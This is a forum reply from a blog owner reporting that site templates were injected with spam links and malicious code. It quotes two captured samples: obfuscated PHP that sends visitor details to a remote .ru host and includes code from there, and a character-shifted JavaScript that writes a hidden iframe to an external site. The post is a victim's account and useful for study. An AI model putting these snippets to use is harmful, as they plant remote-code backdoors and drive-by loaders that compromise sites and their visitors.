QUOTE (Shanep @ Dec 19 2005, 07:32 PM)
I have been having a similar issue. I am getting random links injected into my pages along with some javascript.
They're being injected directly into the HTML pages - not even the templates.
Any tips? :/
I have a LOT of content on my Blog it's going to be a real pity to just ditch it but almost all of the pages that are archived seem to have it even tho there is nothing in the archive templates. It's just directly in the page that is created :/
Thanks in advance
Shane
In my case, which occurred yesterday, the templates themselves were the recipients of the unwanted injections. There were links to spam sites, and an obfuscated javascript which attempted to load a WMF to the reader. I believe the latter was an attempted browser hijack, though I could be wrong.
Fortunately, the template munging affected the layout of my site, so I was immediately able to see there was a problem. Had that not been the case, I hate to think how long it might have gone before I caught it.
I looked through my site logs - there was no evidence of a brute-force attack on my admin login, and my webhost saw no evidence of the server having been cracked.
I saved some examples of the injected code. I found the following preceeding the DTD in some of the templates:
CODE
<?xml version="1.0" encoding="iso-8859-1"error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>
I don't know what it means, but it looks evil.
I also found scripts like the following at the bottom of other templates:
CODE
<script language="javascript" type="text/javascript">var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#v
furoolqj@qrA?2liudphA?2glyA',t=0,h='';while(t<= k.length-1){h=h+String.fromCharCode(k.charCodeAt(t++)-3);}document.write(h);
</script>
Ditto the "evil" remark above.
Interestingly (?) in each affected template, it was one or the other of the injections, but not both, though there were static spam links in the templates which had been hit with the second code snippet.